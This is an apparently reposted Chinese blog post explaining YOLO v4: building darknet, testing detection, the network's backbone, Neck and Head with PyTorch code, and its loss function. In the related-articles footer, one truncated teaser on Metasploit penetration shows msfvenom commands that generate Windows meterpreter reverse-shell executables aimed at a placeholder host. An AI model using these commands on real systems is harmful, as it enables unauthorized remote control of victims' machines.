【YOLO系列】YOLO v4(网络结构图+代码)

news2024/11/24 19:05:16

文章目录

    • how to compile on Linux(using cmake)
      • yolo v4 测试
    • 网络结构
      • route 和shotcut
      • Neck
      • Head
    • Loss
    • 参考

YOLO v4是YOLO系列的第三篇,YOLO v4融合了大量的检测小技巧,为了能够更快地理解YOLO v4,可先查看前两篇文章。

【YOLO系列】YOLO v3(网络结构图+代码)
【YOLO 系列】YOLO v4-v5先验知识

how to compile on Linux(using cmake)

克隆darnet源码,使用cmake进行编译。cmake的版本要大于等于3.18,我的cmake版本原先是3.14,版本过低,下载新版本的cmake重新编译就可以升级cmake的版本。我的基础配置信息如下所示(啊啊啊啊,终于蹭到GPU了,开心):

-版本
cuda11.6
cudnn8.4.0
opencv4.2.0
cmake3.25.3

基于上述配置,使用如下命令进行编译,无出错。

git clone https://github.com/AlexeyAB/darknet
cd darknet
mkdir build_release
cd build_release
cmake …
cmake --build . --target install --parallel 8

编译成功后,在darknet目录下会出现darknet执行文件和libdarknet.so动态库文件

yolo v4 测试

下载预训练模型和cfg文件:
wget https://github.com/AlexeyAB/darknet/releases/download/darknet_yolo_v3_optimal/yolov4.weights
wget https://raw.githubusercontent.com/AlexeyAB/darknet/master/cfg/yolov4.cfg
yolov4 测试命令:
./darknet detector test ./cfg/coco.data ./cfg/yolov4.cfg ./yolov4.weights data/dog.jpg -i 0 -thresh 0.25

下载Yolov4的预训练权重和cfg配置文件,使用生成的darknet执行文件进行检测,测试结果和图片展示如下所示:
在这里插入图片描述

YoLo v4的预测结果比YoLo v3多预测了一个pottedplant(盆栽植物),置信度有些低,33%。并且预测错误,预测的是垃圾桶,而不是盆栽植物,垃圾桶上的树叶起了干扰作用吧。
在这里插入图片描述

网络结构

从AlexeyAB/darknet/tree/yolov4中项目中下载YOLO v4的cfg文件和.weight预训练权重文件。darknet在测试时,会输出yolo v4的层信息,但是仍想想用Netro能够直观地查看YOLO v4的网络结构。最后我选择Tianxiaomo/pytorch-YOLOv4中 demo_darknet2onnx.py文件将.weight文件转换成ONNX文件,然后就可以清晰直观地使用Netro查看YOLO v4的网络结构了。如下是运行命令

python demo_darknet2onnx.py cfg\yolov4.cfg data\coco.names yolov4.weights data\dog.jpg 1

YOLOv4清晰地将网络结构分为backbone、Neck和Head三部分。backbone采用的是CSPDarknet53,Neck为SPP和PAN,Head与YOLO v3一样。其中B表示backbone的结束点,N表示Neck的结束点。由于YOLO v4与YOLO v3一样采用多尺度预测,所以Neck的输出也有三个。

在这里插入图片描述

每个组件下面的数字是其在YOLO v4网络结构的层数。有了层数,会更好理解下述的Neck和Head的代码。

route 和shotcut

YOLO v4的cfg中route和shotcut层。shoutcut就是做残差操作,这里就不再赘述。下图是YOLO v4的前几网络层信息,包括了route和shoutcut层。

在这里插入图片描述

下图是上图网络层信息的图形化展示。如上图所示,编号为3的route层后接一个输入时,route 1,编号为1的卷积层的输出为编号为2和编号为4卷积层的输入,也就是说编号为1的卷积层后有两个分支。如上图所示,编号为9的route层后接两个输入时,route 8 2,编号为2的卷积和编号为8的卷积进行concat操作,分开的两个分支进行合并操作。

在这里插入图片描述

如下图所示,当route后接四个输入时,为YOLO v4中的SPP结构,和YOLO v3中的SPP结构一样。YOLO系列中的SPP模块只是借鉴空间金字塔池化的思想,实现全局特征和局部特征的特征融合,丰富最终特征图的表达能力,从而提高mAP。

在这里插入图片描述

在这里插入图片描述

Neck

YOLO v4的Neck由SPP和PAN两个组件构成。上文中已经描述过SPP,在这里不再赘述。PANet引入了bottom-up的路径,让低层特征传递到高层特征。详情见【YOLO 系列】YOLO v4-v5先验知识

class Neck(nn.Module):
    def __init__(self, inference=False):
        super().__init__()
        self.inference = inference

        self.conv1 = Conv_Bn_Activation(1024, 512, 1, 1, 'leaky') 
        self.conv2 = Conv_Bn_Activation(512, 1024, 3, 1, 'leaky') 
        # SPP
        self.conv3 = Conv_Bn_Activation(1024, 512, 1, 1, 'leaky')
        self.maxpool1 = nn.MaxPool2d(kernel_size=5, stride=1, padding=5 // 2)
        self.maxpool2 = nn.MaxPool2d(kernel_size=9, stride=1, padding=9 // 2)
        self.maxpool3 = nn.MaxPool2d(kernel_size=13, stride=1, padding=13 // 2)

        # R -1 -3 -5 -6
        # SPP
        self.conv4 = Conv_Bn_Activation(2048, 512, 1, 1, 'leaky')
        self.conv5 = Conv_Bn_Activation(512, 1024, 3, 1, 'leaky')
        self.conv6 = Conv_Bn_Activation(1024, 512, 1, 1, 'leaky')
        self.conv7 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        # UP
        self.upsample1 = Upsample()
        # R 85
        self.conv8 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        # R -1 -3
        self.conv9 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        self.conv10 = Conv_Bn_Activation(256, 512, 3, 1, 'leaky')
        self.conv11 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        self.conv12 = Conv_Bn_Activation(256, 512, 3, 1, 'leaky')
        self.conv13 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        self.conv14 = Conv_Bn_Activation(256, 128, 1, 1, 'leaky')
        # UP
        self.upsample2 = Upsample()
        # R 54
        self.conv15 = Conv_Bn_Activation(256, 128, 1, 1, 'leaky')
        # R -1 -3
        self.conv16 = Conv_Bn_Activation(256, 128, 1, 1, 'leaky')
        self.conv17 = Conv_Bn_Activation(128, 256, 3, 1, 'leaky')
        self.conv18 = Conv_Bn_Activation(256, 128, 1, 1, 'leaky')
        self.conv19 = Conv_Bn_Activation(128, 256, 3, 1, 'leaky')
        self.conv20 = Conv_Bn_Activation(256, 128, 1, 1, 'leaky')

    def forward(self, input, downsample4, downsample3, inference=False):
        x1 = self.conv1(input) # 105
        x2 = self.conv2(x1) # 106
        # SPP  107-113
        x3 = self.conv3(x2) # 107
        m1 = self.maxpool1(x3)
        m2 = self.maxpool2(x3)
        m3 = self.maxpool3(x3)
        spp = torch.cat([m3, m2, m1, x3], dim=1) # 113
        # SPP end
        x4 = self.conv4(spp) # 114
        x5 = self.conv5(x4) # 115
        x6 = self.conv6(x5) # 116
        x7 = self.conv7(x6) # 117
        # UP
        up = self.upsample1(x7, downsample4.size(), self.inference) # 118 上采样
        # R 85
        x8 = self.conv8(downsample4) # 120
        # R 120 118
        x8 = torch.cat([x8, up], dim=1) # 121

        x9 = self.conv9(x8) # 122
        x10 = self.conv10(x9) # 123
        x11 = self.conv11(x10) # 124
        x12 = self.conv12(x11) # 125
        x13 = self.conv13(x12) # 126
        x14 = self.conv14(x13) # 127

        # UP
        up = self.upsample2(x14, downsample3.size(), self.inference) # 128
        # R 54
        x15 = self.conv15(downsample3) # 130
        # R 130 128
        x15 = torch.cat([x15, up], dim=1) # 131

        x16 = self.conv16(x15) # 132
        x17 = self.conv17(x16) # 133
        x18 = self.conv18(x17) # 134
        x19 = self.conv19(x18) # 135
        x20 = self.conv20(x19) # 136
        return x20, x13, x6  # 136, 126, 116

Head

YOLO v4的head和YOLOv3 backbone后网络结构一样。

class Yolov4Head(nn.Module):
    def __init__(self, output_ch, n_classes, inference=False):
        super().__init__()
        self.inference = inference

        self.conv1 = Conv_Bn_Activation(128, 256, 3, 1, 'leaky')
        self.conv2 = Conv_Bn_Activation(256, output_ch, 1, 1, 'linear', bn=False, bias=True) # conv

        self.yolo1 = YoloLayer(
                                anchor_mask=[0, 1, 2], num_classes=n_classes,
                                anchors=[12, 16, 19, 36, 40, 28, 36, 75, 76, 55, 72, 146, 142, 110, 192, 243, 459, 401],
                                num_anchors=9, stride=8)

        # R -4
        self.conv3 = Conv_Bn_Activation(128, 256, 3, 2, 'leaky')

        # R -1 -16
        self.conv4 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        self.conv5 = Conv_Bn_Activation(256, 512, 3, 1, 'leaky')
        self.conv6 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        self.conv7 = Conv_Bn_Activation(256, 512, 3, 1, 'leaky')
        self.conv8 = Conv_Bn_Activation(512, 256, 1, 1, 'leaky')
        self.conv9 = Conv_Bn_Activation(256, 512, 3, 1, 'leaky')
        self.conv10 = Conv_Bn_Activation(512, output_ch, 1, 1, 'linear', bn=False, bias=True)  # conv
        
        self.yolo2 = YoloLayer(
                                anchor_mask=[3, 4, 5], num_classes=n_classes,
                                anchors=[12, 16, 19, 36, 40, 28, 36, 75, 76, 55, 72, 146, 142, 110, 192, 243, 459, 401],
                                num_anchors=9, stride=16)

        # R -4
        self.conv11 = Conv_Bn_Activation(256, 512, 3, 2, 'leaky')

        # R -1 -37
        self.conv12 = Conv_Bn_Activation(1024, 512, 1, 1, 'leaky')
        self.conv13 = Conv_Bn_Activation(512, 1024, 3, 1, 'leaky')
        self.conv14 = Conv_Bn_Activation(1024, 512, 1, 1, 'leaky')
        self.conv15 = Conv_Bn_Activation(512, 1024, 3, 1, 'leaky')
        self.conv16 = Conv_Bn_Activation(1024, 512, 1, 1, 'leaky')
        self.conv17 = Conv_Bn_Activation(512, 1024, 3, 1, 'leaky')
        self.conv18 = Conv_Bn_Activation(1024, output_ch, 1, 1, 'linear', bn=False, bias=True) # conv
        
        self.yolo3 = YoloLayer(
                                anchor_mask=[6, 7, 8], num_classes=n_classes,
                                anchors=[12, 16, 19, 36, 40, 28, 36, 75, 76, 55, 72, 146, 142, 110, 192, 243, 459, 401],
                                num_anchors=9, stride=32)

    def forward(self, input1, input2, input3):
        # input1, input2, input3 =  # 136, 126, 116
        x1 = self.conv1(input1) # 137
        x2 = self.conv2(x1) # 138  76*76*225

        x3 = self.conv3(input1) # 140
        # R 141 126
        x3 = torch.cat([x3, input2], dim=1) # 142
        x4 = self.conv4(x3) # 143
        x5 = self.conv5(x4) # 144
        x6 = self.conv6(x5) # 145
        x7 = self.conv7(x6) # 146
        x8 = self.conv8(x7) # 147
        x9 = self.conv9(x8) # 148
        x10 = self.conv10(x9) # 149 38*38*255

        # R 147
        x11 = self.conv11(x8) # 152
        # R 152 116
        x11 = torch.cat([x11, input3], dim=1) # 153

        x12 = self.conv12(x11) # 154
        x13 = self.conv13(x12) # 155
        x14 = self.conv14(x13) # 156
        x15 = self.conv15(x14) # 157
        x16 = self.conv16(x15) # 158
        x17 = self.conv17(x16) # 159
        x18 = self.conv18(x17) # 160 19*19*255
        
        if self.inference:
            y1 = self.yolo1(x2)
            y2 = self.yolo2(x10)
            y3 = self.yolo3(x18)

            return get_region_boxes([y1, y2, y3])
        
        else:
            return [x2, x10, x18]

Loss

YoLo v4的损失函数与YoLo v3的损失函数一样,对中心点坐标x和y都采用BCE,对宽高w和h采用MSE。bbox的置信度和类别预测都使用交叉熵损失。

loss_xy += F.binary_cross_entropy(input=output[..., :2], target=target[..., :2], weight=tgt_scale * tgt_scale, reduction='sum')
loss_wh += F.mse_loss(input=output[..., 2:4], target=target[..., 2:4], reduction='sum') / 2
loss_obj += F.binary_cross_entropy(input=output[..., 4], target=target[..., 4], reduction='sum')
loss_cls += F.binary_cross_entropy(input=output[..., 5:], target=target[..., 5:], reduction='sum')
loss_l2 += F.mse_loss(input=output, target=target, reduction='sum') # L2正则化
# 总和
loss = loss_xy + loss_wh + loss_obj + loss_cls

参考

  1. YOLOv4: Optimal Speed and Accuracy of Object Detection
  2. AlexeyAB/darknet
  3. Tianxiaomo/pytorch-YOLOv4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/609041.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

K8s架构(五)

K8s的物理架构是master/node模式: K8s集群至少需要一个主节点(Master)和多个工作节点(Worker),Master节点是集群的控制节点,负责整个集群的管理和控制,主节点主要用于暴露API,调度部署和节点的管理。工作节点主要是运…

【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

前言: 大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.💌💌💌 🧑个人主页:良辰针不戳 📖所属专栏:javaEE进阶篇之框架学习 🍎励志语…

单源最短路的综合应用

1.新年好(dfs最短路) 信息学奥赛一本通(C版)在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路,求一个地方到另一个地方的最短路,在枚举5个拜访的顺序…

Vue3 小兔鲜:Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…

Android和windows(msf渗透)

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…

【TOP生物信息】使用R包Symphony自动注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1884字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; Symphony 包基本介绍 Symphony 包安装 Symphony 包使用 1.使用已有的参考数据集进行细胞注释2…

LinuxC编程——文件IO

目录 一、概念⭐⭐二、特点⭐⭐⭐三、函数⭐⭐⭐⭐3.1 打开文件 open3.2 关闭文件 close3.3 读写操作3.4 定位操作 lseek 四、文件IO与标准IO的对比脑图 在C语言的标准IO库中的库函数&#xff0c;如fclose、fopen,、fread、fwrite&#xff0c;提供的是高层服务&#xff1b;而Li…

数据在内存中的存储(超详细讲解)

目录 浮点数家族 浮点数类型在内存中的存储 一.为什么说整型和浮点数在内存中存储方式不同&#xff08;证明&#xff09; 二.浮点数的存储规则 浮点数在计算机内部的表示方法 1.对于M的存储和取出规则 2.对于E的存储和取出时的规则 对前面代码结果进行解释&#xff1a; …

Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

文章目录 前言一、APIServer Yaml文件解析APIServer证书文件APIServer三种探针启动探针可读性探针生存性探针 APIServer其他参数APIServer其他配置项 二、Scheduler Yaml文件解析Scheduler证书配置Scheduler两个探针启动探针生存性探针 Scheduler其他参数Scheduler其他配置项 三…

测试各种变量是否是线程安全的

前提条件,把这个类设成是单例模式,也就是说,这个类只能创建一个对象,然后多个线程在一个对象中去争抢资源. 1.int类型的成员变量number, (private int number) 线程共享 public class Stu {private int number;private String age;private String math;private i…

【sentinel】漏桶算法在Sentinel中的应用

漏桶算法 漏桶算法介绍 漏桶算法&#xff0c;又称leaky bucket。 从图中我们可以看到&#xff0c;整个算法其实十分简单。首先&#xff0c;我们有一个固定容量的桶&#xff0c;有水流进来&#xff0c;也有水流出去。对于流进来的水来说&#xff0c;我们无法预计一共有多少水…

内存池技术

为了学习池化技术以及后续自行实现一个仿tcmalloc的线程池&#xff0c;我们先浅浅的学习一下池化的概念&#xff0c;以及简单的实现一个定长的内存池。 文章目录 一&#xff1a;池化技术二&#xff1a;内存池三&#xff1a;内存池主要解决的问题四&#xff1a;malloc五&#x…

原地顺时针旋转矩阵(leetcode 48.选择图像)

本题目在leetcode上有原题48. 旋转图像 详细讲解 顺时针旋转90&#xff0c;横变竖&#xff0c;竖变横。按圈分解&#xff0c;一圈圈的单独转&#xff0c;由外圈到内圈&#xff0c;不断分解。 每一圈转到位了&#xff0c;整个矩阵就旋转好了。 那么&#xff0c;问题来了&…

Photoshop史上最强更新,动动手指就能让AI替你修图

Photoshop 在最新的 Beta 版本中&#xff0c;融入了 Firely 智能 AI 创意填充功能&#xff0c;只要对图片进行简单地框选&#xff0c;就能实现生成对象、生成背景、扩展图像、移除对象以及更多创意功能&#xff0c;支持用自然语言输入指令&#xff0c;让 AI 替你完成创意填充。…

Jmeter常用的两大性能测试场景你都知道吗?

目录 一、阶梯式场景 二、波浪式场景 一、阶梯式场景 该场景主要应用在负载测试里面&#xff0c;通过设定一定的并发线程数&#xff0c;给定加压规则&#xff0c;遵循“缓起步&#xff0c;快结束”的原则&#xff0c;不断地增加并发用户来找到系统的性能瓶颈&#xff0c;进而有…

SpringCloud:分布式缓存之Redis分片集群

1.搭建分片集群 主从和哨兵可以解决高可用、高并发读的问题。但是依然有两个问题没有解决&#xff1a; 海量数据存储问题 高并发写的问题 使用分片集群可以解决上述问题&#xff0c;如图: 分片集群特征&#xff1a; 集群中有多个master&#xff0c;每个master保存不同数据 …

管道通信详解

目录 一、进程通信原理 二、什么是管道 三、创建一个匿名管道 四、fork共享管道的原理 五、管道的特点 六、4中场景 七、命名管道 八、命名管道通信的原理 九、创建一个命名管道 十、上实例 一、进程通信原理 我们知道进程间相互独立&#xff0c;具有独立性。那么我们…

编译原理 SLR(1) 语法分析器的构建

编译原理 SLR(1) 语法分析器的构建 在我的博客查看&#xff1a;https://chenhaotian.top/study/compilation-principle-slr1/ 实验三 自底向上语法分析器的构建 项目代码&#xff1a;https://github.com/chen2438/zstu-study/tree/main/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%8…

冈萨雷斯DIP第10章知识点

文章目录 10.2 点、线和边缘检测10.2.2 孤立点的检测10.2.3 线检测10.2.4 边缘模型 10.3 阈值处理10.3.4 使用图像平滑改进全局阈值处理10.3.5 使用边缘改进全局阈值处理10.4 使用区域生长、区域分离与聚合进行分割 分割依据的灰度值基本性质是&#xff1a;不连续性和相似性。本…

计算机网络第二章——物理层(下)

提示&#xff1a;君子可内敛不可懦弱&#xff0c;面不公可起而论之 文章目录 2.1.7 数据交换方式为什么要进行数据交换数据交换的方式电路交换电路交换的优缺点报文交换报文交换的优缺分组交换分组交换的优缺点数据交换方式的选择数据报方式虚电路方式虚电路方式的特点数据报VS…